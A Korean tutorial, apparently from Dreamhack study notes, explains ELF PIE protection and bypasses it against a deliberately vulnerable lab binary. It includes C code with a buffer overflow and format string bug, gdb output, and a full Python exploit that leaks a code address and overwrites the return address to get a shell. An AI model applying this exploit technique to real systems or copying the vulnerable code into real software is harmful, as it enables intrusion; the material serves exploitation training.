[dream hack] PIE
PIE
ELF의 Position Independent Executable 보호기법과 우회 방법
PIE : Executable, 즉 바이너리가 로딩될 때 랜덤한 주소에 매핑되는 보호기법
원리는 공유 라이브러리와 비슷하다. 컴파일러는 바이너리가 메모리 어디에 매핑되어도 실행에 지장이 없도록 바이너리를 위치 독립적으로 컴파일한다. → 코드 영역의 주소 랜덤화 가능
PIE가 설정되어 있으면 코드 영역의 주소가 실행될 때마다 변하기 때문에 ROP와 같은 코드 재사용 공격을 막을 수 있다.
no_pie.c
//gcc -o no_pie no_pie.c -m32
#include <stdio.h>
int main(void){
printf("MAIN addr : 0x%p\n", &main);
}
pie.c
//gcc -o pie pie.c -m32 -fPIC -pie
#include <stdio.h>
int main(void){
printf("MAIN addr : 0x%p\n", &main);
}
Bypassing PIE
PIE 보호기법을 우회하기 위해서는 코드 영역의 주소를 알아내야 한다.
PIE 보호기법이 설정되어 있을 때 코드 영역은 공유 라이브러리처럼 메모리에 로딩되기 때문에 libc.so.6 라이브러리 주소를 구하는 과정과 같이 특정 코드 영역의 주소를 알아낸다면 코드 영역 베이스 주소를 구할 수 있다. 구한 주소로 오프셋 계산을 통해 코드나 데이터 영역의 주소를 구할 수 있다.
example8.c
// gcc -o example8 example8.c -m32 -fno-stack-protector -mpreferred-stack-boundary=2 -fPIC -pie
#include <stdio.h>
void give_shell(void){
system("/bin/sh");
}
void vuln(void){
char buf[32] = {};
printf("Input1 > ");
read(0, buf, 512); // Buffer Overflow
printf(buf); // Format String Bug
printf("Input2 > ");
read(0, buf, 512); // Buffer Overflow
}
int main(void){
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
vuln();
}
example8.c에는 두 종류의 취약점이 존재함.
1. 스택 버퍼 오버플로우
2. 포맷 스트링 버그
gdb로 vuln함수를 디스어셈블
$ gdb -q ./example8
Reading symbols from ./example8...(no debugging symbols found)...done.
(gdb) disas vuln
Dump of assembler code for function vuln:
0x000006f5 <+0>: push ebp
0x000006f6 <+1>: mov ebp,esp
0x000006f8 <+3>: push ebx
0x000006f9 <+4>: sub esp,0x20
주소가 오프셋 형태로 출력됨을 확인.
바이너리에는 쉘을 실행시켜주는 give_shell 함수가 있다. 포맷 스트링 버그를 이용해 give_shell 함수의 주소를 구한 후, 스택 버퍼 오버플로우 취약점으로 리턴 주소를 give_shell 함수의 주소로 덮어 쉘을 실행해보자.
printf(buf)를 실행하는 시점에 브레이크포인트를 설정해 스택 메모리 살펴보기
printf가 호출되는 시점의 스택 메모리
$ gdb -q ./example8
Reading symbols from ./example8...(no debugging symbols found)...done.
(gdb) start
Temporary breakpoint 1 at 0x780
Starting program: ~/example8
Temporary breakpoint 1, 0x56555780 in main ()
(gdb) disas vuln
Dump of assembler code for function vuln:
...
0x00000745 <+80>: add esp,0xc
0x00000748 <+83>: lea eax,[ebp-0x24]
0x0000074b <+86>: push eax
0x0000074c <+87>: call 0x510 <printf@plt>
...
End of assembler dump.
(gdb) b *0x5655574c
Breakpoint 2 at 0x5655574c
(gdb) c
Continuing.
Input1 > aaaabbbbcccc
Breakpoint 2, 0x5655574c in vuln ()
(gdb) x/40wx $esp
0xffffd524: 0xffffd528 0x61616161 0x62626262 0x63636363
0xffffd534: 0x0000000a 0x00000000 0x00000000 0x00000000
0xffffd544: 0x00000000 0x56557000 0xffffd558 0x565557be
0xffffd554: 0x00000000 0x00000000 0xf7e19637 0x00000001
0xffffd564: 0xffffd5f4 0xffffd5fc 0x00000000 0x00000000
0xffffd574: 0x00000000 0xf7fb3000 0xf7ffdc04 0xf7ffd000
0xffffd584: 0x00000000 0xf7fb3000 0xf7fb3000 0x00000000
0xffffd594: 0xb988c975 0x8509e765 0x00000000 0x00000000
0xffffd5a4: 0x00000000 0x00000001 0x56555560 0x00000000
0xffffd5b4: 0xf7fee010 0xf7fe8880 0x56557000 0x00000001
(gdb) x/s 0xffffd528
0xffffd528: "aaaabbbbcccc\n"
(gdb)
x/40wx $esp로 출력된 메모리는 printf(buf)를 실행하는 시점의 스택 메모리다. 스택 메모리를 보면 0xffffd550에 바이너리 코드 영역의 주소인 0x565557be이 저장되어 있는 것을 볼 수 있다. 0x565557be는 vuln함수의 리턴주소다. (main+66의 주소) 포맷 스트링 버그를 이용해 0xffffd550에 있는 값을 출력시켜보자. 0x61616161이 저장되어 있는 0xffffd528이 첫 번째 포맷 스트링에 대한 인자 위치이므로 11번째 포맷에서 스택에 저장된 0x565557be를 출력시킬 수 있다.
Input1 > %x_%x_%x_%x_%x_%x_%x_%x_%x_%x_%x
255f7825_78255f78_5f78255f_255f7825_78255f78_5f78255f_255f7825_78255f78_5655700a_ffffd558_565557be
11번째 "%x"에 대한 결과로 565557be가 출력되어 바이너리의 코드 주소를 알아냈다. 이 주소를 이용해 give_shell의 주소를 계산한다.
(gdb) p give_shell
$1 = {<text variable, no debug info>} 0x565556d0 <give_shell>
(gdb) p/x 0x565557be - 0x565556d0
$2 = 0xee
(gdb)
give_shell 함수의 주소는 0x565557be - 0xee 인것을 확인했다.
exmaple8_leak.py
#!/usr/bin/python
'''
example8_leak.py
'''
import struct
import subprocess
import os
import pty
def readline(fd):
res = ''
try:
while True:
ch = os.read(fd, 1)
res += ch
if ch == '\n':
return res
except:
raise
def read(fd, n):
return os.read(fd, n)
def writeline(proc, data):
try:
proc.stdin.write(data + '\n')
proc.stdin.flush()
except:
raise
def write(proc, data):
try:
proc.stdin.write(data)
proc.stdin.flush()
except:
raise
def p32(val):
return struct.pack("<I", val)
def u32(data):
return struct.unpack("<I", data)[0]
out_r, out_w = pty.openpty()
s = subprocess.Popen("./example8", stdin=subprocess.PIPE, stdout=out_w)
print read(out_r, 10)
writeline(s, "%x_"*11)
fsb_data = readline(out_r)
datas = fsb_data.split("_")
code_addr = int(datas[10], 16) # get 11th %x output
print "vuln_ret_addr @ " + hex(code_addr)
give_shell = code_addr - 0xee
print "give_shell @ " + hex(give_shell)
give_shell 함수의 주소를 구하는 파이썬 스크립트
$ python example8_leak.py
Input1 >
vuln_ret_addr @ 0x565b67be
give_shell @ 0x565b66d0
실행하면 give_shell 함수의 주소가 출력됨
example8.c의 스택 오버플로우 취약점을 이용해 vuln함수의 리턴 주소를 give_shell 주소로 덮어 쉘을 실행해보자.
buf로부터 리턴 주소까지의 오프셋은 40바이트이므로 최종 공격 페이로드는 다음과 같다.
"A"*40+ give_shell
example8.py
#!/usr/bin/python
'''
example8.py
'''
import struct
import subprocess
import os
import pty
import sys
def readline(fd):
res = ''
try:
while True:
ch = os.read(fd, 1)
res += ch
if ch == '\n':
return res
except:
raise
def read(fd, n):
return os.read(fd, n)
def writeline(proc, data):
try:
proc.stdin.write(data + '\n')
proc.stdin.flush()
except:
raise
def write(proc, data):
try:
proc.stdin.write(data)
proc.stdin.flush()
except:
raise
def p32(val):
return struct.pack("<I", val)
def u32(data):
return struct.unpack("<I", data)[0]
out_r, out_w = pty.openpty()
s = subprocess.Popen("./example8", stdin=subprocess.PIPE, stdout=out_w)
print read(out_r, 10)
write(s, "%x_"*11+"\n\x00")
fsb_data = readline(out_r)
datas = fsb_data.split("_")
code_addr = int(datas[10], 16) # get 11th %x output
print "vuln_ret_addr @ " + hex(code_addr)
give_shell = code_addr - 0xee
print "give_shell @ " + hex(give_shell)
read(out_r, 1024)
payload = "A"*40
payload += p32(give_shell)
write(s, payload)
print "[+] get shell"
while True:
cmd = raw_input("$ ")
writeline(s, cmd)
res = read(out_r, 102400)
sys.stdout.write(res+'\n')
example8에 대한 익스플로잇 코드
실행하면 쉘이 획득된다.
$ python example8.py
Input1 >
vuln_ret_addr @ 0x565eb7be
give_shell @ 0x565eb6d0
[+] get shell
$ id
uid=1001(theori) gid=1001(theori) groups=1001(theori)
$
PIE가 설정되어 있는지 확인하는 방법
PIE 보호기법이 적용되어 있는 ELF 바이너리는 실행될 때 메모리의 동적 주소에 로딩된다.
이러한 성질로 readelf를 이용해 바이너리의 type header를 검사하는 것으로 바이너리의 PIE 적용 여부를 체크 가능함.
$ readelf -h ./no_pie | grep Type
Type: EXEC (Executable file)
$ readelf -h ./pie | grep Type
Type: DYN (Shared object file)
type header의 경우 일반적인 실행 파일은 EXEC, 라이브러리와 같은 shared 파일은 DYN값을 갖는다.
PIE가 적용되어 있지 않은 바이너리의 타입은 EXEC이고 적용되어 있는 바이너리의 타입은 DYN이다.